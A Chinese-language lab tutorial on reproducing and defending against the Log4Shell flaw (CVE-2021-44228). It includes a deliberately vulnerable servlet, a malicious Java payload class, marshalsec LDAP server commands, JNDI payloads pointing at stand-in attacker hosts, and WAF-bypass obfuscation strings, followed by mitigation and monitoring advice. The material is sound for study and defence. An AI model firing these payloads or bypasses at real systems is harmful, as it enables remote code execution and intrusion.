Log4j2漏洞复现与防御:从JNDI注入到远程代码执行实战
1. 项目概述:为什么Log4j2漏洞值得每个开发者警惕
去年年底,安全圈被一个代号为“Log4Shell”的漏洞彻底引爆,它的官方编号是CVE-2021-44228。这个漏洞的波及范围之广、影响之深,堪称近十年来最严重的软件供应链安全事件。简单来说,它存在于一个几乎所有Java开发者都使用过的日志组件——Apache Log4j2中。攻击者只需要在日志信息里插入一段特殊的字符串,就能让服务器执行任意代码,完全控制你的应用。我当时正在为一个线上系统做安全审计,突然收到告警,整个团队连夜排查和修复,那种紧张感至今记忆犹新。
这个漏洞的核心在于Log4j2一个名为“JNDI Lookup”的功能。JNDI(Java Naming and Directory Interface)本是Java中用来查找各种资源(如数据库、消息队列)的标准API,但Log4j2在解析日志消息时,如果发现类似${jndi:ldap://evil.com/a}这样的模式,就会傻乎乎地去指定的地址(比如evil.com)加载并执行远程的Java类。想象一下,你的应用在记录用户输入的“用户名”或“搜索关键词”时,如果这些数据里藏了这样的“炸弹”,日志系统就会瞬间变成攻击者的“后门”。
复现这个漏洞,绝不仅仅是为了“炫技”或满足好奇心。对于开发者而言,亲手搭建环境、触发漏洞、观察攻击链的完整过程,是理解其危害性、掌握修复和防御手段最有效的方式。对于安全研究人员和运维工程师,复现过程能帮助你验证自己的系统是否真正免疫,并建立有效的监控和应急响应流程。接下来,我会带你从零开始,在一个可控的实验室环境中,完整地走一遍漏洞复现的流程,并深入剖析每一个技术细节和背后的原理。
2. 漏洞原理深度剖析:从日志记录到远程代码执行
要理解CVE-2021-44228,我们必须深入Log4j2的日志处理机制。Log4j2有一个强大的功能叫“Lookup”,它允许在配置文件和日志输出中动态插入一些值,比如系统属性、环境变量等。其语法就是${prefix:name}。其中,JndiLookup就是这个功能的一个具体实现。
2.1 攻击链是如何串联起来的
攻击链的起点是用户可控的输入。任何会被Log4j2记录到日志的信息都可能成为入口,例如:
- HTTP请求头(如
User-Agent,X-Forwarded-For) - HTTP请求参数(GET/POST参数)
- 表单提交的数据
- 甚至是从数据库读取并记录到日志的数据
当一条包含${jndi:ldap://attacker-ip:1389/Exploit}的字符串被记录时,Log4j2的消息解析机制就开始工作了。默认情况下,Log4j2 2.0-beta9 到 2.14.1版本中,lookup功能是全局启用的。解析器识别出${}模式,并调用JndiLookup.lookup()方法。
JndiLookup会无条件地信任这个字符串,通过JNDI API去访问指定的LDAP服务(ldap://attacker-ip:1389/Exploit)。这里的关键在于,JNDI的LDAP协议支持返回一个“引用”(Reference)。这个引用可以指向一个远程的HTTP服务器上的Java类文件(.class)。
受害服务器上的JNDI服务会自动加载这个远程的类文件。如果目标Java版本较旧(JDK 6u132, 7u122, 8u113 之前),或者特定配置下(com.sun.jndi.ldap.object.trustURLCodebase设置为true),Java运行时会直接从攻击者控制的HTTP服务器下载并实例化这个类。这个被加载的类(我们称之为恶意Payload)的静态代码块或构造函数中的代码就会被执行,从而完成远程代码执行。
注意:在后续的JDK高版本中,默认禁止了从远程地址加载工厂类(
trustURLCodebase=false),但这并非绝对安全。攻击链可以通过其他方式串联,例如利用受害服务器本地ClassPath中已有的、具有危险方法的类(如org.apache.naming.factory.BeanFactory结合EL表达式)进行利用,这使得漏洞在特定环境下依然可利用。
2.2 漏洞触发的核心条件
要成功利用这个漏洞,需要同时满足以下几个条件:
- 使用存在漏洞的Log4j2版本:2.0-beta9 <= Apache Log4j2 <= 2.14.1。
- 日志输入可控:应用程序使用Log4j2记录来自外部的、未经充分过滤的数据。
- JNDI Lookup功能启用:在漏洞版本中,此功能默认启用。
- 网络可达:受害服务器需要能访问攻击者控制的LDAP和HTTP服务(通常需要出网)。
- Java运行时环境:某些利用方式受JDK版本限制,但存在绕过手段。
3. 实验环境搭建与配置
为了安全、合法地复现漏洞,我们必须在隔离的环境中进行。我推荐使用虚拟机或Docker来构建一个简单的靶场。
3.1 靶机环境准备(漏洞应用)
我们将创建一个最简单的、存在漏洞的Java Web应用。
1. 创建项目结构:
mkdir log4shell-vuln-app && cd log4shell-vuln-app2. 编写存在漏洞的Java代码 (VulnApp.java):
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import java.io.*; import javax.servlet.http.*; import javax.servlet.annotation.*; @WebServlet("/hello") public class VulnApp extends HttpServlet { // 使用Log4j2记录日志 private static final Logger logger = LogManager.getLogger(VulnApp.class); protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException { String userInput = req.getParameter("input"); // 关键漏洞点:将用户输入直接记录到日志,且未做任何过滤 logger.error("Received input: {}", userInput); resp.setContentType("text/html; charset=UTF-8"); PrintWriter out = resp.getWriter(); out.println("<html><body>"); out.println("<h1>Log4j2 Vuln Demo</h1>"); out.println("<p>Your input has been logged.</p>"); out.println("</body></html>"); } }这段代码模拟了一个最常见的漏洞场景:将HTTP请求参数直接记录到日志。
3. 准备漏洞版本的Log4j2依赖 (pom.xml):我们使用Maven管理依赖,关键是指定存在漏洞的Log4j2版本。
<?xml version="1.0" encoding="UTF-8"?> <project> <modelVersion>4.0.0</modelVersion> <groupId>com.example</groupId> <artifactId>log4shell-vuln-app</artifactId> <version>1.0</version> <packaging>war</packaging> <properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> <log4j2.version>2.14.1</log4j2.version> <!-- 漏洞版本 --> </properties> <dependencies> <!-- Servlet API --> <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>3.1.0</version> <scope>provided</scope> </dependency> <!-- 存在漏洞的Log4j2核心 --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>${log4j2.version}</version> </dependency> <!-- Log4j2 API --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>${log4j2.version}</version> </dependency> <!-- 使Log4j2与Servlet集成 --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-web</artifactId> <version>${log4j2.version}</version> </dependency> </dependencies> <build> <finalName>vulnapp</finalName> </build> </project>4. 配置Log4j2 (log4j2.xml):将其放在src/main/resources目录下。一个简单的配置足以触发漏洞。
<?xml version="1.0" encoding="UTF-8"?> <Configuration status="WARN"> <Appenders> <Console name="Console" target="SYSTEM_OUT"> <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/> </Console> </Appenders> <Loggers> <Root level="error"> <!-- 设置为error级别,我们的代码用的就是logger.error --> <AppenderRef ref="Console"/> </Root> </Loggers> </Configuration>5. 编译与部署:使用Maven打包,并将生成的vulnapp.war部署到一个支持Servlet的容器中,如Apache Tomcat 8或9。
mvn clean package cp target/vulnapp.war /path/to/tomcat/webapps/启动Tomcat,访问http://localhost:8080/vulnapp/hello?input=test,查看控制台是否有日志输出,确认应用运行正常。
3.2 攻击机环境准备
我们需要准备两个工具:一个LDAP引用服务器和一个HTTP服务器(用于托管恶意Java类)。这里我使用最流行的开源工具marshalsec来快速搭建LDAP服务。
1. 安装Java和Maven:确保攻击机已安装JDK 8+和Maven。
2. 编译 marshalsec:
git clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests编译成功后,在target目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar。
3. 编写恶意Java类 (Exploit.java):这是将被远程加载并执行的Payload。我们写一个最简单的,用于证明命令执行。
public class Exploit { static { try { // 弹出一个计算器(Linux下可能是gnome-calculator) String os = System.getProperty("os.name").toLowerCase(); if (os.contains("win")) { Runtime.getRuntime().exec("calc.exe"); } else if (os.contains("mac")) { Runtime.getRuntime().exec("open -a Calculator"); } else { Runtime.getRuntime().exec("gnome-calculator"); } } catch (Exception e) { e.printStackTrace(); } } }将其编译成class文件:
javac Exploit.java4. 启动HTTP服务器:在Exploit.class文件所在目录,启动一个简单的HTTP服务器,用于提供恶意类文件。
# 使用Python3快速启动 python3 -m http.server 8888 # 或者使用其他任何HTTP服务器确保该HTTP服务器可以通过网络被靶机访问(在实验环境中,通常是同一局域网或本机)。
4. 漏洞复现实操步骤详解
环境就绪,现在让我们发起攻击。请确保靶机(Tomcat)、LDAP服务器、HTTP服务器都在运行。
4.1 启动LDAP引用服务器
在攻击机上,使用marshalsec启动一个LDAP服务,它将把客户端的请求重定向到我们的HTTP服务器。
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR_HTTP_IP:8888/#Exploit" 1389YOUR_HTTP_IP:替换为你的攻击机IP地址。如果所有服务都在本机,可以用127.0.0.1。1389:LDAP服务监听的端口。http://.../#Exploit:告诉LDAP服务器,当有客户端查询时,返回一个指向该HTTP地址下Exploit.class的引用。
执行后,你会看到类似Listening on 0.0.0.0:1389的输出。
4.2 构造并发送攻击载荷
现在,我们向存在漏洞的靶机应用发送恶意请求。攻击载荷就是包含JNDI Lookup的字符串。
使用浏览器、curl或BurpSuite等工具发送以下请求:
GET /vulnapp/hello?input=${jndi:ldap://YOUR_ATTACKER_IP:1389/Exploit} HTTP/1.1 Host: localhost:8080或者用curl命令:
curl 'http://localhost:8080/vulnapp/hello?input=%24%7Bjndi%3Aldap%3A%2F%2FYOUR_ATTACKER_IP%3A1389%2FExploit%7D'注意:URL中的特殊字符需要编码,${对应%24%7B,}对应%7D。
4.3 观察攻击结果
查看LDAP服务器日志:在运行
marshalsec的终端,你应该能看到一条连接记录,表明靶机上的Log4j2已经联系了你的LDAP服务器。Send LDAP reference result for Exploit redirecting to http://YOUR_HTTP_IP:8888/Exploit.class查看HTTP服务器日志:在运行Python HTTP服务器的终端,你应该能看到一条请求记录,表明靶机从你的服务器下载了
Exploit.class文件。127.0.0.1 - - [日期时间] "GET /Exploit.class HTTP/1.1" 200 -查看靶机效果:如果靶机是带有图形界面的系统,并且JDK版本允许远程加载,你可能会看到一个计算器程序被弹出。这是远程代码执行最直观的证据。
实操心得:在实际复现中,“弹计算器”成功率受环境限制较多。更可靠的验证方式是让Payload执行一个不会立即退出的命令,例如在Linux上
ping自己几次,或者写一个文件。我们可以修改Exploit.java:// 修改后的Exploit.java,用于更稳定的验证 import java.io.*; public class Exploit { static { try { // 在/tmp目录下创建一个文件作为执行证据 FileWriter fw = new FileWriter("/tmp/log4shell_success.txt"); fw.write("Log4j2 RCE Exploited at " + new java.util.Date()); fw.close(); // 或者执行一个回环ping,便于用tcpdump抓包观察 Runtime.getRuntime().exec("ping -c 4 127.0.0.1"); } catch (Exception e) { // 静默处理异常,避免在靶机日志中暴露过多信息 } } }重新编译并替换HTTP服务器上的class文件,再次发送攻击请求。然后检查靶机的
/tmp/log4shell_success.txt文件是否被创建,或者用tcpdump抓取ICMP包,查看是否有ping流量。
5. 漏洞修复与缓解方案实战
复现漏洞是为了更好地防御它。一旦确认漏洞存在,必须立即采取行动。
5.1 紧急缓解措施(治标)
如果无法立即升级,可以采用以下临时方案阻断攻击:
修改JVM参数(推荐):这是最快、最有效的临时方案。通过设置系统属性,直接禁用Log4j2的Lookup功能。
# 在启动Java应用时添加以下参数 -Dlog4j2.formatMsgNoLookups=true原理:这个参数让Log4j2在格式化日志消息时跳过Lookup解析。从Log4j2 2.10.0开始支持此参数。对于2.0-beta9到2.10.0的版本,这是首选的临时方案。
移除漏洞类(彻底):直接删除Log4j2核心库中负责JNDI Lookup的类文件。
# 找到log4j-core-*.jar文件 zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class注意:此操作不可逆,且可能影响依赖此功能(尽管极少见)的正常业务。务必在测试环境验证后再进行生产环境操作。
环境变量限制:对于高版本JDK,确保限制JNDI从远程加载代码的能力。
# 设置以下环境变量(适用于JDK 11.0.1, 8u191, 7u201, 6u211及以上) -Dcom.sun.jndi.ldap.object.trustURLCodebase=false -Dcom.sun.jndi.rmi.object.trustURLCodebase=false局限性:这只能防御基于远程代码库(Codebase)的攻击,对于利用本地ClassPath中已有类的绕过手段无效。
5.2 根本解决方案(治本)
升级Log4j2到安全版本:这是唯一一劳永逸的方法。
- 对于 Log4j 2.x 用户:升级到2.17.0、2.12.4(Java 7)或2.3.2(Java 6)及更高版本。
- 在Maven中,直接修改
pom.xml中的版本号:<log4j2.version>2.17.1</log4j2.version> <!-- 使用当前最新的稳定版 -->
- 在Maven中,直接修改
- 升级策略:
- 全面梳理:使用依赖检查工具(如OWASP Dependency-Check, Maven
dependency:tree)找出所有直接和间接依赖Log4j2的组件。 - 测试回归:升级后必须进行完整的回归测试,因为大版本升级可能引入不兼容的API变更。
- 持续监控:关注Apache Log4j安全公告,确保使用的版本没有新的漏洞。
- 全面梳理:使用依赖检查工具(如OWASP Dependency-Check, Maven
5.3 防御性编码与架构建议
除了修复漏洞本身,更应从开发习惯和架构层面提升免疫力:
输入验证与过滤:对所有外部输入进行严格的校验和过滤。对于日志记录,在记录前对用户输入进行编码或替换敏感模式。
// 简单的过滤示例(不完整,仅示意) public String sanitizeForLog(String input) { if (input == null) return null; // 过滤掉 ${ 和 } 等可能导致解析的字符 return input.replace("${", "{").replace("}", "}"); } // 记录时使用过滤后的数据 logger.info("User input: {}", sanitizeForLog(userInput));最小权限原则:运行Java应用的账户应遵循最小权限原则,避免使用root或管理员权限。这样即使被RCE,攻击者能造成的破坏也有限。
网络层防护:
- 出站规则:严格限制服务器不必要的出站连接。如果业务不需要访问外部的LDAP/LDAPS/RMI服务,可以在防火墙或安全组上直接禁掉相关端口(如1389, 389, 636, 1099等)。这能从根本上切断JNDI攻击的回连。
- Web应用防火墙(WAF):部署WAF并更新规则,拦截包含
jndi:、ldap://、rmi://等特征的请求。
安全监控与日志审计:监控服务器上是否有异常的子进程启动、网络连接(特别是向陌生IP的1389/389端口发起连接)或文件创建。同时,审计应用日志本身,搜索是否有可疑的
${jndi:模式被记录。
6. 复现过程中的常见问题与排查技巧
在复现过程中,你可能会遇到各种问题导致利用不成功。下面是我踩过坑后总结的排查清单。
6.1 漏洞利用不成功的可能原因
| 现象 | 可能原因 | 排查步骤 |
|---|---|---|
| LDAP服务器无连接日志 | 1. 靶机Log4j2版本不对或配置未生效。 2. 网络不通。 3. 输入点未被日志记录。 4. 日志级别过高,未记录。 | 1. 确认靶机依赖的log4j-core版本在漏洞范围内。 2. 在靶机上 telnet ATTACKER_IP 1389测试连通性。3. 尝试其他输入点(如HTTP头)。 4. 将Log4j2配置的Root Logger级别改为 info或debug。 |
| LDAP有连接,但HTTP服务器无请求 | 1. JDK版本过高,默认禁止远程加载。 2. 恶意类编译版本与靶机JDK不兼容。 3. marshalsec命令参数错误。 | 1. 检查靶机JDK版本。尝试使用低版本JDK(如8u112)测试。 2. 用 javac -target 1.8 -source 1.8 Exploit.java指定版本编译。3. 检查marshalsec命令中HTTP地址和端口是否正确, #号不能少。 |
| HTTP有请求,但无代码执行效果 | 1. Payload类执行失败(如命令不存在)。 2. 安全管理器(SecurityManager)限制。 3. 静态代码块未执行(类可能已被加载)。 | 1. 简化Payload,改为创建文件或发送DNS请求(如Runtime.getRuntime().exec("curl http://attacker/"))来验证。2. 检查Java策略文件。 3. 修改类名和文件名重新尝试。 |
| 返回400或500错误 | 1. 特殊字符未URL编码。 2. 容器或框架对输入有过滤。 | 1. 使用BurpSuite或Postman等工具自动编码后发送。 2. 尝试对 {、}、:等字符进行双重编码绕过。 |
6.2 高级技巧与深度排查
- 使用DNSLog验证漏洞存在:在不便搭建完整攻击链时,可以使用DNSLog平台来快速验证。Payload形如
${jndi:ldap://${sys:java.version}.xxx.dnslog.cn}。如果漏洞存在,Log4j2会尝试解析这个域名,你就能在DNSLog平台看到解析记录,其中包含了Java版本信息。这是一种无害的检测方式。 - 查看靶机Log4j2内部日志:在靶机应用的启动参数中添加
-Dlog4j2.debug=true。这会让Log4j2输出详细的内部日志到控制台,你可以看到它是否解析了Lookup表达式以及解析过程。 - 利用链的延伸:如果高版本JDK禁用了远程加载,可以研究利用本地ClassPath中的类(如Tomcat中的
org.apache.naming.factory.BeanFactory)配合EL表达式(如org.apache.el.ExpressionFactory)进行绕过。这需要更深入的理解和构造,相关工具如JNDI-Injection-Exploit集成了多种绕过方式。 - WAF绕过技巧:一些WAF可能简单匹配
jndi:字符串。可以尝试利用Log4j2 Lookup的嵌套功能进行绕过,例如:${${lower:j}ndi:...}${${::-j}${::-n}${::-d}${::-i}:...}- 使用
ldaps、rmi、dns、iiop等不同协议进行尝试。
6.3 我的实操心得与建议
- 环境隔离是第一要务:永远在虚拟机或独立的Docker容器中复现漏洞,切勿在连接公司或家庭主网络的物理机上直接运行攻击工具。
- 从简单到复杂:先用最简单的Payload(如DNSLog)验证漏洞是否存在和可利用,再尝试复杂的RCE。这有助于分步排查问题。
- 理解胜于工具:虽然有很多一键化的漏洞利用工具(如
log4j-scan),但亲手搭建一遍环境、理解每一步的原理,对你后续进行漏洞分析、编写检测规则、设计修复方案有不可替代的价值。 - 关注绕过方式:安全是一个动态对抗的过程。在修复了CVE-2021-44228后,后续又出现了CVE-2021-45046(绕过补丁)、CVE-2021-45105(DoS)等。修复漏洞后,仍需关注其变种和新的利用技巧。
- 建立应急清单:为你的团队或负责的系统建立一个针对此类重大漏洞的应急响应清单,包括:快速检测脚本(扫描JAR包)、临时缓解措施执行步骤、升级回滚方案、监控指标(异常出站连接)等。当“下一个Log4Shell”出现时,你就能从容应对。
